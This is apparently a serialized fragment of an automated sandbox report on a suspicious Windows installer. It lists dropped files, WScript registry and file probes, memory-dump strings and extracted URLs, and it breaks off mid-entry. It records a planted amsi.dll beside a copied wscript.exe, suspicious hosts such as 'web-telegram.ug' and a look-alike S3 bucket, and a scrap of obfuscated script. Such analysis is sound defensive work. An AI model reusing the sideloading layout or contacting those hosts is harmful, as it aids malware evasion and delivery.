[%TEMP%\is-XGQS9W3DB7.tmp\LICENSE.electron.txt]- [targetUID: 00000000-00000952] "setup.txt" has type "ASCII text with no line terminators"- Location: [%APPDATA%\setup.txt]- [targetUID: 00000000-00004472] "Grape.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\Grape.exe]- [targetUID: 00000000-00000952] "libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libGLESv2.dll]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libEGL.dll]- [targetUID: 00000000-00000952] "icudtl.dat" has type "data"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\icudtl.dat]- [targetUID: 00000000-00000952] "chrome_200_percent.pak" has type "data"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\chrome_200_percent.pak]- [targetUID: 00000000-00000952] "chrome_100_percent.pak" has type "data"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\chrome_100_percent.pak]- [targetUID: 00000000-00000952] "LICENSE.electron.txt" has type "ASCII text"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\LICENSE.electron.txt]- [targetUID: 00000000-00000952]48:Ta6f,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION\CUSTOMATTRIBUTES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\DIAGNOSIS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\DEBUGINFORMATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY\CUSTOMATTRIBUTES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "")49:T61b,"libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libGLESv2.dll]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libEGL.dll]- [targetUID: 00000000-00000952] "amsi.dll" has type "MS-DOS executable MZ for MS-DOS"- Location: [%TEMP%\svc_ylb6ijl1\amsi.dll]- [targetUID: 00000000-00002804] "libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libGLESv2.dll]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libEGL.dll]- [targetUID: 00000000-00000952]4a:Te2f,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "")4b:Tb7f,"WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\WSCRIPT.EXE" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\wscript.exe" "WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\system\ado\MSDART.DLL" "WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\System\ado\MSDART.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\VERSION.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\FLTLIB.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\CRYPTSP.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\BCRYPT.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\bcrypt.dll" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\CRYPTBASE.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\CRYPTBASE.dll" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\WINNLSRES.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\winnlsres.dll" "wscript.exe" trying to access non-existent file "C:\Program Files\Common Files\system\ado\MSDART.DLL" "wscript.exe" trying to access non-existent file "C:\Program Files\Common Files\System\ado\MSDART.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\CLDAPI.DLL" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\CLDAPI.dll"4c:Tb56,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\wscript.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_ylb6ijl1\wscript.exe:Zone.Identifier" "wscript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "wscript.exe" trying to access non-existent file "\Device\RasAcd" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Utilify_8u8a563i.exe:ZONE.IDENTIFIER" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\Utilify_8u8a563i.exe:Zone.Identifier" "Utilify_8u8a563i.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IS-97LI8WEXMB.TMP" "Utilify_8u8a563i.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-97LI8WEXMB.tmp" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-97LI8WEXMB.tmp\WINSPOOL.DRV" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-97LI8WEXMB.tmp\UTILIFY_8U8A563I.TMP.LOCAL" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IS-XGQS9W3DB7.TMP" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-XGQS9W3DB7.tmp" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SUPERMAXIONQUICKMAXLITE" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\LOCALES" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\locales" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\RESOURCES" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\resources" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\SWIFTSHADER" "Utilify_8u8a563i.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\swiftshader" "Grape.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\GRAPE.EXE.LOCAL" "Grape.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\WINSPOOL.DRV" "Grape.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\GRAPE" "Grape.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Grape"4d:T8ec,Found reference to API "Default http server socket timeout in ms (default: 120000)" (Indicator: " socket "; Source: "00000000-00004092.00000000.124993.D4240000.00000004.mdmp, 00000000-00004092.00000001.126915.D4230000.00000004.mdmp, 00000000-00004092.00000002.128835.D4240000.00000004.mdmp") Found reference to API "Resource bind info for" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "// Name Type Format Dim HLSL Bind Count" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "// Name Type Format Dim ID HLSL Bind Count" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "cannot bind the same variable to multiple constants in the same constant bank" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "incorrect bind semantic" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "register or offset bind %s.%s not valid" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "register or offset bind %s not valid" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "cannot bind interfaces to classes in tbuffers" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "maximum cbuffer exceeded. target has %u slots, manual bind to slot %u failed" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "%s registers live in the same name space as outputs, so they must be bound to at least %c%u, manual bind to slot %s failed" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "maximum %s register index exceeded, target has %d slots, manual bind to slot %s failed" (Indicator: " bind "; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp")4e:T4dd,Heuristic match: "squill.immutablezone),debug:false,timeout:2750}; function syndicatefinding(bluetoothexpedition){ return bluetoothexpedition.version!==null;} if (syndicatefinding(generateenemy)){} var proxyprogram=40; var rsafirewall=92; var copycard=proxyprogram+rsafirewa" Pattern match: "0.no/o11|zq05xiiendihdridatx^xf" Pattern match: "https://jrsoftware.org/ishelp/index.php?topic=setupcmdline" Heuristic match: "web-telegram.ug" Heuristic match: "amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com" Heuristic match: "font.name" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "extensions.database.open/0x" Heuristic match: "../../base/trace_event/memory_dump_scheduler.cc" Heuristic match: "exe;.bat;.co" Pattern match: "https://nodejs.org/download/release/v12.13.0/win-x64/node.lib" Pattern match: "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gz" Pattern match: "https://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gz" Heuristic match: ".data.rel.ro" Heuristic match: "llvm.nacl.read.tp" Pattern match: "http://llvm.org/" Pattern match: "http://www.w3.org/tr/html4/strict.dtd" Pattern match: "http://localhost:8080/swiftconfig"4f:T14e91,Found URL "https://nodejs.org/download/release/v12.13.0/win-x64/node.lib--prof-processset" - Source: "00000000-00004092.00000000.124993.D4240000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gzclustern" - Source: "00000000-00004092.00000000.124993.D4240000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gz--preserve-symlinks-mainsilence" - Source: "00000000-00004092.00000000.124993.D4240000.00000004.mdmp") Found URL "http://llvm.org/):llvm" - Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found URL "http://www.w3.org/tr/html4/strict.dtd'>7www.entrust.net/cps_2048" - Source: "00000000-00004472.00000000.124439.87D40000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\arizona1scottsdale1%0" - Source: "00000000-00004472.00000000.124439.87D40000.00000004.mdmp") Found URL "http://repository.swisssign.com/eu1c0a:madrid" - Source: "00000000-00004472.00000000.124439.87D40000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl" - Source: "00000000-00004472.00000000.124439.87D40000.00000004.mdmp") Found URL "http://www.accv.esaaaaaaaaadgaaawaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaaaaaaoaaaaaaaaaaqaaaaaaaaaaaaaaafaaaaeaaaaaaaaaaaaaaabgaaabaaaaaaaaaaaqaaaauaaaaqaaaaaaaaaaeaaaagaaaaaaaaaaaaadgaaawaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaaaaaaoaaaaaaaaaaqaaaaaaaaaaaaaaafaaaaeaaaaaaaaaaaaaaabgaaabaaaaaaaaaaaqaaaauaaaaqaaaaaaaaaaeaaaagaaaaaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaa579125,131072-field-trial-handle=1680,9351082474623949860,10396439349421579125,131072-field-trial-handle=1680,9351082474623949860,10396439349421579125,131072autoridad" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.accv.espaseo" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif&" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif6r" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gifdigicert" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crlnetwork" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crlgo" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl6f?;amazon1amazon" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://repository.swisssign.com/eu1c0a:madrid" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0thawte," - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0us1" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0greater" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlus1!0network" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.netsolssl.com/networksolutionscertificateauthority.crl" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www2.public-trust.com/crl/ct/ctroot.crl0tw1" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.quovadis.bmasyncgenerator.jsawaitvalue.jsarraywithholes.jsarraywithoutholes.jsasynciterator.jsasynctogenerator.jsawaitasyncgenerator.jsclasscallcheck.jsclassnametdzerror.jsconstruct.jscreateclass.jsdecorate.jsdefaults.jsdefineproperty.jsextends.jsget.jsgetprototypeof.jsinherits.jsinheritsloose.jsinstanceof.jsisnativefunction.jsiterabletoarray.jsjsx.jsnewarrowcheck.jsnoniterablerest.jsnoniterablespread.jsobjectspread.jsobjectspread2.jsreadonlyerror.jsset.jssetprototypeof.jsslicedtoarray.jsslicedtoarrayloose.jssuperpropbase.jstdz.jstemporalref.jstemporalundefined.jstoarray.jstoconsumablearray.jstoprimitive.jstopropertykey.jstypeof.js" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/emsign" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "https://repository.luxtrust.lu0gebze" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlus1" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0230930042049zimeosonerasecom" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crles1;092agencia" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.pkioverheid.nl/policies/root-policy-g20es1;092agencia" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlarizona1scottsdale1%0" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0verisign," - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0izenpe" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://policy.camerfirma.comarizona1scottsdale1godaddy.com," - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.accv.es/legislacion_c.htmiw2)vmslbc[" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://policy.camerfirma.com081001102956zpki@sk.eepki@sk.ee20301217235959z20101030101030z331001235959z090901000000zscottsdalearizonascottsdalearizonascottsdale371231235959z090901000000z371231235959zarizonaarizonascottsdaleaffirmtrustaffirmtrust100129140824z301231140824zaffirmtrust301231140606z100129140606zaffirmtrust100129141036z401231141036z401231142024zaffirmtrustaffirmtrustaffirmtrustaffirmtrust100129142024z081022120737z080828072433zroot" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crld-trust" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crldigicert" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0$http://www.accv.es/legislacion_c.htm0un0l0jdhttp://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crl0accv@accv.esathens1d0b;hellenic" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\processisipchannelwrapstrerrorai_addrconfigai_v4mappediana_dns_portipv6readdrsplitreqdv1(err_dns_set_servers_failederr_invalid_arg_typeerr_invalid_ip_addresserr_invalid_opt_valuedefaultresolverresolverkeysinvalidhostnamewarningemittedgetdefaultresolverinternal/dns/utils.jsexportsrequiremoduleprocessinternalbindingprimordials-----begin" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "https://ocsp.quovadisoffshore.com0reliance" - Source: 